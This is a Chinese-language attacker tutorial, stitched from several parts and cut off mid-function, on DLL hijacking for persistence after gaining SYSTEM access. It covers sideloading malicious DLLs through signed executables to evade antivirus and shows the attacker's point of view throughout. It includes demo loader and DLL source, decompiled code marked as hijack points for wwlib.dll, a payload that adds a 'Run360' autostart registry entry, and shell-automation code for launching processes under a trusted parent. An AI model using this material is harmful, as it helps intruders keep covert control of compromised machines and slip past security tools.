DLL 劫持白文件利用方式(一)
前言
最近发现针对某些目标,添加启动项,计划任务等比较明显的方式效果并不是很好,所以针对 DLL 劫持从而达到权限的维持的技术进行了一番学习,希望能与读者们一起分享学习过程,然后一起探讨关于 DLL 更多利用姿势。
背景
原理在第一篇已经讲了,下面说说与第一篇的不同之处,这一篇的技术背景是,我们已经获取到 system 权限的情况下,然后需要对目标进行持续性的控制,所以需要对权限进行维护,我们的目标是针对一些主流的软件 or 系统内置会加载的小 DLL 进行转发式劫持(也可以理解为中间人劫持),这种劫持的好处就是即使目标不存在 DLL 劫持漏洞也没关系,我们可以采取直接替换掉原来的 DLL 文件的方式,效果就是,程序依然可以正常加载原来 DLL 文件的功能,但是同时也会执行我们自定义的恶意操作。
劫持的优势
在很久以前,“白 + 黑” 这种免杀方式很火,DLL 劫持的优势其实就是如此。
是不是很懵?先理解下什么是 “白”+“黑”
白加黑木马的结构
1.Exe(白) —-load—-> dll(黑)
2.Exe(白) —-load—-> dll(黑)—-load—-> 恶意代码
白 EXE 主要是指那些带有签名的程序(杀毒软件对于这种软件,特别是 window 签名的程序,无论什么行为都不会阻止的,至于为什么?emmm,原因很多,查杀复杂,定位 DLL 困难,而且最终在内存执行的行为都归于 exe(如果能在众多加载的 DLL 中准确定位到模块,那就是 AI 分析大师。),所以比较好用的基于特征码去查杀,针对如今混淆就像切菜一样简单的时代来说,蛮不够看的,PS. 或许 360 等杀毒有新的方式去检测,emmm,不过我实践发现,基于这个原理过主动防御没啥问题…emmm)
DLL 劫持白文件利用方式(二
劫持方式
为了能够更好地学习,下面方式决定通过写一个 demo 的程序进行测试。
打开 vs2017,新建一个控制台应用程序:
代码如下:
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
// 定义一个函数类DLLFUNC
typedef void(*DLLFUNC)(void);
DLLFUNC GetDllfunc1 = NULL;
DLLFUNC GetDllfunc2 = NULL;
// 指定动态加载dll库
HINSTANCE hinst = LoadLibrary(L"TestDll.dll");
if (hinst!= NULL) {
// 获取函数位置
GetDllfunc1 = (DLLFUNC)GetProcAddress(hinst, "msg");
GetDllfunc2 = (DLLFUNC)GetProcAddress(hinst, "error");
}
if (GetDllfunc1!= NULL) {
//运行msg函数
(*GetDllfunc1)();
}
else {
MessageBox(0, L"Load msg function Error,Exit!", 0, 0);
exit(0);
}
if (GetDllfunc2!= NULL) {
//运行error函数
(*GetDllfunc2)();
}
else {
MessageBox(0, L"Load error function Error,Exit!", 0, 0);
exit(0);
}
printf("Success");
}
程序如果缺乏指定 DLL 的导出函数,那么将会失败。
原生正常 DLL 的代码如下:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
void msg() {
MessageBox(0, L"I am msg function!", 0, 0);
}
void error() {
MessageBox(0, L" I am error function!", 0, 0);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
framework.h 导出函数如下:
#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);
extern "C" __declspec(dllexport) void error(void);
extern 表示这是个全局函数,可以供其他函数调用,“C” 表示按照 C 编译器的方式编译
__declspec (dllexport) 这个导出语句可以自动生成 .def((符号表)),这个很关键
如果你没导出,这样调用的程序是没办法调用的(其实也可以尝试从执行过程来分析,可能麻烦点)
建议直接看官方文档:
https://docs.microsoft.com/zh-cn/cpp/build/exporting-from-a-dll?view=msvc-160
正常完整执行的话,最终程序会输出 Success。
通过逆向白文件实现黑方法持久化(三)
漏洞位置1:
signed int __stdcall sub_30001573(int a1, int a2, int a3, int a4)
{
HMODULE v4; // edi@1
FARPROC v5; // ebx@2
FARPROC v6; // eax@2
signed int result; // eax@5
v4 = LoadLibraryW(L"wwlib.dll");
if ( v4 || (v4 = sub_30001968((int)L"{0638C49D-BB8B-4CD1-B191-051E8F325736}"))!= 0 )
{
v5 = GetProcAddress(v4, "FMain");
dword_30003010 = (int)GetProcAddress(v4, "wdCommandDispatch");
v6 = GetProcAddress(v4, "wdGetApplicationObject");
dword_3000300C = (int)v6;
if ( v5 && dword_30003010 && v6 )
{
((void (__stdcall *)(int, int, int, int))v5)(a1, a2, a3, a4);
FreeLibrary(v4);
result = 0;
}
else
{
result = 1;
}
}
else
{
GetLastError();
result = 1;
}
return result;
}
漏洞位置2:
HMODULE __stdcall sub_30001968(int a1)
{
HMODULE v1; // esi@1
UINT v2; // eax@1
unsigned int v4; // eax@3
int v5; // eax@14
FARPROC v6; // [sp+8h] [bp-478h]@7
FARPROC v7; // [sp+Ch] [bp-474h]@7
int v8; // [sp+10h] [bp-470h]@15
HMODULE hModule; // [sp+14h] [bp-46Ch]@5
WCHAR LibFileName; // [sp+18h] [bp-468h]@1
WCHAR Buffer; // [sp+220h] [bp-260h]@1
__int16 v12[261]; // [sp+222h] [bp-25Eh]@4
char v13; // [sp+42Ch] [bp-54h]@14
v1 = 0;
LibFileName = 0;
v2 = GetSystemDirectoryW(&Buffer, 0x105u);
if (!v2)
return 0;
v4 = 2 * v2;
if (*(WCHAR *)((char *)&Buffer + v4)!= 92)
{
*(WCHAR *)((char *)&Buffer + v4) = 92;
v12[v4 / 2] = 0;
}
sub_300018D4(&Buffer, 262, L"msi.dll");
hModule = LoadLibraryExW(&Buffer, 0, 8u);
if (!hModule)
{
hModule = LoadLibraryW(L"msi.dll");
if (!hModule)
return 0;
}
v7 = GetProcAddress(hModule, "MsiGetProductCodeW");
v6 = GetProcAddress(hModule, "MsiProvideQualifiedComponentExW");
if (!v6)
{
FreeLibrary(hModule);
return 0;
}
if (a1)
{
if (!v7)
{
FreeLibrary(hModule);
return 0;
}
v5 = ((int (__stdcall *)(int, char *))v7)(a1, &v13);
if (!v5)
{
v8 = 260;
v5 = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD, char *, _DWORD, _DWORD, WCHAR *, int *))v6)(
L"{24AAE126-0911-478F-A019-07B875EB9996}",
L"wwlib.dll",
0,
&v13,
0,
0,
&LibFileName,
&v8);
if (!v5)
goto LABEL_22;
}
if (v5 == 1602)
goto LABEL_22;
}
v8 = 260;
if (!((int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, WCHAR *, int *))v6)(
L"{24AAE126-0911-478F-A019-07B875EB9996}",
L"wwlib.dll",
0,
0,
0,
0,
&LibFileName,
&v8))
LABEL_22:
v1 = LoadLibraryW(&LibFileName);
FreeLibrary(hModule);
return v1;
}
HKEY hKey;
//打开启动项Key
long lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey);
if (lRet == ERROR_SUCCESS)
{
char pFileName[MAX_PATH] = { 0 };
//得到程序自身的全路径
DWORD dwRet = GetModuleFileName(NULL, pFileName, MAX_PATH);
//添加一个子Key,并设置值 // 下面的"getip"是应用程序名字(不加后缀.exe)
lRet = RegSetValueEx(hKey, "Run360", 0, REG_SZ, (BYTE *)pFileName, dwRet);
//关闭注册表
RegCloseKey(hKey);
if (lRet!= ERROR_SUCCESS)
{
//AfxMessageBox("系统参数错误,不能随系统启动");
}
}
MessageBoxA(NULL, "test!!!", NULL, 0);
通过 0DAY 漏洞实现父进程白文件启动(四)
// Run_Explorer.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <windows.h>
#include <shlwapi.h>
#include <shlobj.h>
#pragma comment(lib, "shlwapi.lib")
// use the shell view for the desktop using the shell windows automation to find the
// desktop web browser and then grabs its view
//
// returns:
// IShellView, IFolderView and related interfaces
HRESULT GetShellViewForDesktop(REFIID riid, void **ppv)
{
*ppv = NULL;
IShellWindows *psw;
HRESULT hr = CoCreateInstance(CLSID_ShellWindows, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&psw));
if (SUCCEEDED(hr))
{
HWND hwnd;
IDispatch* pdisp;
VARIANT vEmpty = {}; // VT_EMPTY
if (S_OK == psw->FindWindowSW(&vEmpty, &vEmpty, SWC_DESKTOP, (long*)&hwnd, SWFO_NEEDDISPATCH, &pdisp))
{
IShellBrowser *psb;
hr = IUnknown_QueryService(pdisp, SID_STopLevelBrowser, IID_PPV_ARGS(&psb));
if (SUCCEEDED(hr))
{
IShellView *psv;
hr = psb->QueryActiveShellView(&psv);
if (SUCCEEDED(hr))
{
hr = psv->QueryInterface(riid, ppv);
psv->Release();
}
psb->Release();
}
pdisp->Release();
}
else
{
hr = E_FAIL;
}
psw->Release();
}
return hr;
}
// From a shell view object gets its automation interface and from that gets the shell
// application object that implements IShellDispatch2 and related interfaces.
HRESULT GetShellDispatchFromView(IShellView *psv, REFIID riid, void **ppv)
{
*ppv = NULL;
IDispatch *pdispBackground;
HRESULT hr = psv->GetItemObject(SVGIO_BACKGROUND, IID_PPV_ARGS(&pdispBackground));
if (SUCCEEDED(hr))
{
IShellFolderViewDual *psfvd;
hr = pdispBackground->QueryInterface(IID_PPV_ARGS(&psfvd));
if (SUCCEEDED(hr))
{
IDispatch *pdisp;
hr = psfvd->get_Application(&pdisp);
if (SUCCEEDED(hr))
{
hr = pdisp->QueryInterface(riid, ppv);
pdisp->Release();
}
psfvd->Release();
}
pdispBackground->Release();